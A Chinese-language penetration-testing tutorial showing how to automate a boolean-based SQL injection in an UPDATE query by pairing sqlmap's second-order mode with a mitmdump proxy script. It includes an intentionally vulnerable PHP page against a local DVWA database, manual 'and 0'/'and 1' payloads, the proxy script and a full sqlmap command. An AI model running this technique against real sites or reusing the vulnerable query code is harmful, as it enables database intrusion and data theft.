本文主要介绍利用 mitmproxy 脚本辅助 sqlmap,自动化利用漏洞的方法。由于笔者毫无学习更多姿势的上进心,又在处理数据库注入漏洞方面才学浅薄,因此当一个漏洞不能用 sqlmap 利用的时候笔者就寸步难行了。
但同时,“懒癌患者”这一属性也让笔者发现了一些赖在sqlmap上面不走的方法。在一次测试过程中笔者遇到了这样一个场景:某网站信息修改页面的用户id参数没有被有效过滤。在一般情况下,这样的标准漏洞可以直接用sqlmap跑,但是拜CDN所赐,页面状态很不稳定,具体表现为HTTP状态码随机被过滤,页面也不时是被缓存的内容。这样不稳定的页面难以使用sqlmap自动化利用。于是笔者利用mitmproxy脚本,与sqlmap的二阶注入功能使sqlmap有能力通过自带的boolean-based检测方法来检测update是否成功,并据此判断表达式真假,自动化利用此漏洞。
一、场景漏洞涉及两个页面,第一个页面包含修改内容的表单,表单里面包括当前的值。这个页面被用于获取update是否成功
get.php:
<?php $mysqli = mysqli_init(); $mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 2); $mysqli->real_connect('127.0.0.1', 'root', '', 'dvwa'); $sql = "select * from users where user_id = 2"; $result = $mysqli->query($sql); if($result === false) { echo ($mysqli->errno); echo ($mysqli->error); } $field_arr = $result->fetch_all(); $mysqli->close(); ?> <form action="change.php" method="POST"> <fieldset> <div> <legend>change your name</legend> </div> <div> <!-- Text input--> <label for="input01">userid</label> <div> <input placeholder="2" type="text"> <p></p> </div> </div><div> <!-- Text input--> <label for="input01">firstname</label> <div> <input placeholder="<?php echo $field_arr[0][1]; ?>" type="text"> <p></p> </div> </div> <div> <!-- Text input--> <label for="input01">lastname</label> <div> <input placeholder="<?php echo $field_arr[0][2]; ?>" type="text"> <p></p> </div> </div><input type="submit" value="Submit"> </fieldset> </form>第二个页面是执行update的页面。这个页面包含数据库注入漏洞。
change.php:
<?php if (!isset($_POST["userid"]) || !isset($_POST["firstname"]) || !isset($_POST["lastname"])) die("post per missing"); $mysqli = mysqli_init(); $mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 2); $mysqli->real_connect('127.0.0.1', 'root', '', 'dvwa'); $sql = "update users set first_name= '" . str_replace("'", "", $_POST["firstname"]) . "' , last_name = '" . str_replace("'", "", $_POST["lastname"]) . "' where user_id = '" . $_POST['userid'] . "'"; $result = $mysqli->query($sql); $mysqli->close(); //header("Location: get.php"); ?>显然第二个页面的update语句user_id参数没有被有效过滤。但是因为出错页面和http状态码都受到CDN缓存影响而不一定出现,直接利用sqlmap处理这个boolean-based的数据库注入十分困难。
二、手动利用的思路一切从手动注入说起
发生数据库注入的语句:
update users set first_name= 'xxx', lastname='xxx' where user_id = '2'因为update页面的返回极其不稳定,所以最好的利用方法是通过检测update来做boolean-based注入。
注:boolean-based注入指利用web应用在漏洞利用者注入的语句中特定表达式真假性不同时产生不同的输出来获取数据库中数据的方法。
举例:
update users set first_name= 'xxx', lastname='xxx' where user_id = '2' and 0 update users set first_name= 'xxx', lastname='xxx' where user_id = '2' and 10 和 1 的不同决定了更新是否成功。因此手动注入的时候就可以不停地企图把姓名更新为新的值,并通过更新是否成功来判断and后面表达式的值。
如图:
三、自动化利用思路
很遗憾,这个利用方式sqlmap并不支持。首先sqlmap对boolean-based 注入的检测非常静态,只可以基于一个确定的http状态码,正则表达式,字符串是否符合来检测。而这种利用需要每次更改检测的内容。其次,sqlmap的请求过程也是静态的,难以动态地把页面内容改成和之前不一样的值。
但是sqlmap也不是一无是处,其自带的二阶注入功能让利用者可以用get.php来检测update是否成功。
不妨换一种思路:既然sqlmap只支持把数据更新成一个确定的值,那不妨在每一次检测过后都把数据“重置”。如果手写一个http代理,就可以在sqlmap尝试修改之前将数据设定为初始值,这样sqlmap的静态更新和检测就适用于这个漏洞了。
如图:
#p#分页标题#e#四、自动化利用的实现
这里使用了mitmdump来实现。工具kali自带,安装方法在此不再赘述。
具体的API可以参考API文档
mitmdump的脚本编程
import requests from time import sleep def request(flow): if (flow.request.url.find("change.php")!=-1): print ("changing~~~~") url = 'http://127.0.0.1/fb/change.php' payload = {'userid': '2', 'firstname': '1111111','lastname': '11111111'} r = requests.post(url, data=payload) print (r.text)十分简单的代码,如果请求是在提交修改,就在提交之前首先重置数据。
首先开启代理
mitmdump -s mitmpscript.py然后运行sqlmap
sqlmap -r request --proxy=http://127.0.0.1:8080 --second-order get.php --string 22222222 --technique B -p userid --level 3request:
POST /fb/change.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 38 userid=2&firstname=22222222&lastname=2222222最终结果
固然,自动化利用工具难以把漏洞的各种场景都涵盖。但是我们借助于可编程的web代理等工具,在对自动化利用工具的工作原理有了解的前提下,往往有机会将那些可以手动利用的特殊漏洞转化成可以被自动化工具利用的漏洞。